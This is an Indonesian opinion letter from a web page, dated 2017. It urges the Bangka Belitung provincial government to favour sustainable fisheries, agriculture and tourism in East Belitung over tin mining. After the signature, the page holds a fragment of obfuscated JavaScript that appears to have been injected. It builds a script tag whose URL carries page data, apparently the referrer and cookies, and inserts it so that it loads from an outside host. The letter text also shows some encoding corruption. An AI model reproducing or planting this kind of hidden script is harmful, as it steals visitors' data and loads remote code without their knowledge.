“Provinsi Babel Harus Ambil Kebijakan Terhadap Ekonomi Berkelanjutan”

JIKA Kita ingin berbicara tentang pariwisata, tentu tidak bisa terlepas dari persoalan “hukum bisnis” Permintaan (Demand) dan Penawaran (Supply).

Jika mengacu dari berbagai literatur yang ada, maka dalam ilmu ekonomi terdapat adanya permintaan (demand) dan penawaran (supply), yang saling bertemu dan membentuk satu titik pertemuan dalam satuan harga dan kuantitas. (oganisasi.org)

Maka, setiap transaksi perdagangan pasti ada permintaan, penawaran, harga dan kuantitas yang saling mempengaruhi satu sama lain.

Adapun pengertian atau arti atas definisi Permintaan dan Penawaran, yaitiAi??Permintaan adalah sejumlah barang yang dibeli atau diminta pada suatu harga dan waktu tertentu. Sedangkan pengertian penawaran, adalah sejumlah barang yang dijual atau ditawarkan pada suatu harga dan waktu tertentu.

Contoh, permintaan barang yang ada di pasar, yang bertindak sebagai permintaan adalah pembeli, sedangkan penjual sebagai penawaran. Ketika terjadi transaksi antara pembeli dan penjual, maka keduanya akan sepakat terjadi transaksi pada harga tertentu, yang mungkin hasil dari tawar-menawar yang alot.

Sedangkan Hukum Permintaan dan Hukum Penawaran itu sendiri, jika semua asumsi diabaikan (ceteris paribus), dimana harga semakin murah, maka permintaan atau pembeli akan semakin banyak, atau sebaliknya. Jika harga semakin rendah atau murah, maka penawaran akan semakin sedikit dan sebaliknya.

Mengacu dari semua penjelasan atas literatur diatas, maka semakin banyaknya kunjungan wisatawan ke Pulau Belitong inu, tentu akan diiringi dengan meningkatnya permintaan akan berbagai komoditi, seperti beras, sayur, buah, ikan, kepiting, udang, cumi, lobster dan lainnya.

Oleh karena itu, seharusnya Pemerintah Provinsi Bangka Belitung (Babel), harus bisa melakukan langkah antisipasi, disaat adanya dugaan lemahnya Pemerintah Kabupaten Belitung Timur (Beltim), dalam mengelola potensi berkelanjutan yang ada.

Pihak provinsi, hendaknya bisa hadir untuk membantu memberikan solusi kepada Belitung Timur. Adapun bantuan itu, bisa berupa tindakan nyata, misalnya, perbaikan alur di beberapa muara yang ada di Belitung Timur, seperti Alur Muara Sungai Lenggang, Alur Muara Sungai Manggar, Alur Muara Di Pantai Lalang Dan Serdang, Alur Muara Pering, dan Alur Muara Sungai Buding.

Bahkan, Ai??sesekali boleh juga Gubernur turun ke lapangan, untuk melihat langsunh kondisi yang ada, agar dapat mengetahui seberapa sulitnya kehidupan para Nelayan, di Belitung Timur.

Kondisi di Belitung Timur, dari beberapa tahun lalu, ada Danau Najau yang diperuntukan untuk sawah, sehingga tidak ada salahnya ditinjau kembali, agar dapat diambil langkah untuk meningkatkan hasil produksi padinya.

Begitu pula dengan semakin terbatasnya lahan untuk dikelola masyarakat, sudah saatnya Provinsi Bangka Belitung mengevaluasi semua IUP tambang, yang ada di Belitung Timur.

Ketika IUP-nya sudah dinyatakan tidak produktif lagi, tidak ada salahnya dana jaminan reklamasi dikeluarkan untuk memperbaiki lahan, kemudian menjadikannya sebagai lahan produktif perkebunan sayur dan buah-buahan, yang dikelola oleh kelompok masyarakat.

Mungkin saja, tidak banyak masyarakat yang tahu, kalau di Indonesia ini, tidak banyak daerah yang disinggahi Kapal Asing, untuk mengekspor produk perikanan ke berbagai negara.

Tapu beruntunglah, karena pihak KKP telah menentukan Belitung sebagai salahsatu tujuan Kapal Asing, untuk muat singgah dan mengangkut hasil perikanan, selain Sabang, Pangkalan Susu, Belawan, Lampung, Dan Bali.

Oleh karena itu, seharusnya Pemerintah Provinsi Bangka Belitung bisa membantu dengan program 1001 keramba, misalnya, atau 1001 apartemen ikan.

Karena sesungguhnya, di laut itu tidak hanya timah yang memiliki nilai ekonomis, tetapi banyak potensi lainnya dan itu berkelanjutan.

Bahkan, untuk membangun kemanfaatan potensi itu, tidak butuh puluhan tahun lamanya. Karena hanya butuh waktu sekitar 1-2 tahun saja.

Alangkah indahnya, jika Pemerintah Provinsi Bangka Belitung mengambil kebijakan atas dasar sektor ekonomi berkelanjutan, bukan hanya kebijakan yang berdasarkan kepentingan politik, atau malah sebaliknya, diduga turut ikut serta menjadikan Kabupaten Belitung Timur sebagai Kota 1001 TI Apung.

Jika semua ini dapat dikerjakan dengan baik, dimana ada sinergitas antara Pemerintah dan Masyarakat, tentu Pulau Belitong dapat menuju kemandirian ekonomi yang diharapkan, sehingga bisa Ai??semakin mantap untuk meninggalkan era Tambang menuju era Perikanan, Perkebunan dan Pariwisata.

Terimakasih.

Belitung Timur, 23 November 2017

Endro Siswono

(Biak Manggar Nok Dak Diberik Mic Ketika Dialog Bersama Gubernur) x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *